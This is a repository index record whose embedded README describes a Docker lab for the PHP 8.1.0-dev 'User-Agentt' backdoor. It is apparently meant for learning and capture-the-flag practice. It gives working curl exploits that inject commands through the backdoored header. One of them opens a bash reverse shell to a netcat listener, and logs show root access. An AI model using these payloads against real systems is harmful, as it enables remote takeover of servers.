{"id":18537726,"url":"https://github.com/twseptian/php-8.1.0-dev-user-agentt-backdoor-docker-lab","last_synced_at":"2025-11-01T03:30:29.402Z","repository":{"id":108585183,"uuid":"418069605","full_name":"twseptian/php-8.1.0-dev-user-agentt-backdoor-docker-lab","owner":"twseptian","description":"Docker container lab to play/learn with PHP 8.1.0-dev User-Agentt Backdoor Docker Lab \u0026 PoC","archived":false,"fork":false,"pushed_at":"2021-10-17T09:06:42.000Z","size":148,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-12-26T03:43:14.820Z","etag":null,"topics":["dockerfile","php","vulnerability"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/twseptian.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-10-17T08:47:11.000Z","updated_at":"2024-05-02T16:04:51.000Z","dependencies_parsed_at":"2023-04-26T13:02:06.037Z","dependency_job_id":null,"html_url":"https://github.com/twseptian/php-8.1.0-dev-user-agentt-backdoor-docker-lab","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/twseptian","download_url":"https://codeload.github.com/twseptian/php-8.1.0-dev-user-agentt-backdoor-docker-lab/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":239255296,"owners_count":19608253,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dockerfile","php","vulnerability"],"created_at":"2024-11-06T19:39:51.035Z","updated_at":"2025-11-01T03:30:29.376Z","avatar_url":"https://github.com/twseptian.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PHP 8.1.0-dev User-Agentt Backdoor Docker Lab \u0026 PoC\nReferences:\n- [PHP 8.1.0-dev User-Agentt Backdoor](https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor)\n- [https://news-web.php.net/php.internals/113838](https://news-web.php.net/php.internals/113838)\n- [https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d](https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d)\n- [https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a](https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a)\n- [HackTheBox - Knife (PHP 8.1.0-dev User-Agentt)](https://twseptian.github.io/hackthebox%20machine/htb-machine-knife/)\n\nIf you doesn't have `docker-compose`. First let's install `docker-compose` to your operating system.\n```bash\n$ sudo apt-get install docker-compose\n```\nDocker command to build dockerfile\n```bash\n$ docker-compose up -d\n$ docker ps -a                                                                                                                                          \nCONTAINER ID   IMAGE                     COMMAND                  CREATED          STATUS          PORTS                                   NAMES\n4607c17c5b06   vulhub/php:8.1-backdoor   \"php -S 0.0.0.0:80 -…\"   11 minutes ago   Up 11 minutes   0.0.0.0:8080-\u003e80/tcp, :::8080-\u003e80/tcp   php-81-dev_web_1\n```\nruns the service at `http://youripaddress:8080` or `http://0.0.0.0:8080`\n\n![Check on your browser](pictures/web.png)\n\n\nCommand Injection\n```bash\n$ curl -H \"User-Agentt: zerodiumsystem('id');\" 'http://172.17.0.1:8080'\nuid=0(root) gid=0(root) groups=0(root)\n\ntesting, hello world page\n```\nvia burp suite\n\n![Command Injection](pictures/cmdi.png)\nRemote Code Execution using curl\n```bash\n$ curl -H \"User-Agentt: zerodiumsystem(\\\"bash -c 'bash -i \u003e\u0026 /dev/tcp/172.17.0.1/4444 0\u003e\u00261'\\\");\" 'http://172.17.0.1:8080'\n```\nOutput\n```bash\n$ nc -lvnp 4444                                                                                 \nNcat: Version 7.91 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:35820.\nbash: cannot set terminal process group (1): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@4607c17c5b06:/var/www/html# id\nid\nuid=0(root) gid=0(root) groups=0(root)\nroot@4607c17c5b06:/var/www/html# \n```\nvia burp suite\n\n![Remote Code Injection](pictures/rce.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftwseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftwseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftwseptian%2Fphp-8.1.0-dev-user-agentt-backdoor-docker-lab/lists"}